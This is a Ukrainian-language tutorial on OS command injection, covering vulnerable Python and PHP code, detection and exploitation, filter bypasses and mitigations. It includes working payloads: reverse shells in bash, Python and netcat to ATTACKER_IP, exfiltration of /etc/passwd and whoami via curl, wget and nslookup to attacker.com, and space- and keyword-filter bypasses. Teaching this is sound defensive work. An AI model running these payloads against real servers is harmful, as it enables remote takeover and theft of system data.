Що таке Command Injection
Command Injection (OS Command Injection) — вразливість, за якої user-input передається до системної команди без належної санітизації. Результат — виконання довільних команд ОС від імені процесу веб-сервера.
OWASP: входить до A03:2021 Injection. Одна з найнебезпечніших вразливостей — часто призводить до повного компромісу сервера.
Як виникає
# Python — вразливий код
import subprocess
domain = request.form['domain']
result = subprocess.check_output(f"ping -c 1 {domain}", shell=True)
Якщо domain = "google.com; id", виконається:
ping -c 1 google.com; id
Оператори ланцюжка команд
| Оператор | Синтаксис | Поведінка |
|---|---|---|
| Semicolon | cmd1; cmd2 |
Виконує обидві |
| AND | cmd1 && cmd2 |
cmd2 тільки якщо cmd1 успішна |
| OR | cmd1 \|\| cmd2 |
cmd2 тільки якщо cmd1 провалилась |
| Pipe | cmd1 \| cmd2 |
stdout cmd1 → stdin cmd2 |
| Backtick | `cmd` |
Підстановка виводу (bash) |
| Subshell | $(cmd) |
Підстановка виводу |
| Newline | cmd1%0acmd2 |
URL-encoded newline |
Виявлення
Активне виявлення (time-based)
# Linux — sleep 5 секунд
; sleep 5
| sleep 5
&& sleep 5
$(sleep 5)
`sleep 5`
# Windows
& timeout 5
| timeout /T 5
Якщо відповідь затримується — вразливість підтверджена.
Виявлення через DNS (out-of-band)
; nslookup BURP_COLLABORATOR_SUBDOMAIN
$(nslookup `whoami`.attacker.com)
Burp Collaborator фіксує DNS-запит → підтвердження без видимого виводу.
Типи Command Injection
In-band (видимий вивід)
# Linux
; cat /etc/passwd
; id; whoami; hostname
; ls -la /var/www/html
# Windows
& whoami
& dir C:& type C:\Windows\win.ini
Blind (без виводу)
Час:
; sleep 10
Out-of-band (запис у файл):
; id > /var/www/html/output.txt
# Потім: /output.txt
Out-of-band (DNS/HTTP):
; curl http://attacker.com/$(whoami)
; wget http://attacker.com/?data=$(cat /etc/passwd | base64)
Reverse Shell через Command Injection
Bash
; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Python
; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash"])'
Netcat
; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f
Bypass фільтрів
Якщо пробіли заблоковано
; cat</etc/passwd # < замість пробілу
; cat${IFS}/etc/passwd # $IFS = Internal Field Separator
; {cat,/etc/passwd} # brace expansion
; X=$'cat /etc/passwd';$X
Якщо blacklist символів
# Обходимо / через змінні
; a=pa;b=sswd;cat /etc/$a$b
; cat /???/pa??wd # wildcard
Якщо блокуються ключові слова
# cat → c'a't або ca""t
; c'a't /etc/passwd
; ca""t /etc/passwd
; \cat /etc/passwd
Wrappers (PHP)
Якщо вразливість у PHP через system(), exec(), passthru(), shell_exec(), popen():
// Вразливий код
system("convert " . $_GET['file'] . " output.jpg");
// Exploit
file=image.jpg; id
file=image.jpg$(id)
Захист
1. Уникай системних команд
# ❌ Вразливо
os.system(f"ping {user_input}")
# ✅ Безпечно — використовуй бібліотеки
import subprocess
subprocess.run(["ping", "-c", "1", user_input], shell=False)
2. Allowlist валідація
import re
if not re.match(r'^[a-zA-Z0-9.\-]+$', domain):
raise ValueError("Invalid domain")
3. shell=False + список аргументів
# ❌ shell=True + конкатенація — вразливо
subprocess.check_output(f"ls {directory}", shell=True)
# ✅ shell=False + список — безпечно
subprocess.check_output(["ls", directory], shell=False)
4. Принцип мінімальних привілеїв
Веб-сервер не повинен мати права на виконання системних команд, яких не потребує.
Корисні інструменти
- Commix — автоматична Command Injection exploitation tool
- Burp Suite — ручне тестування через Repeater
- Burp Collaborator — out-of-band виявлення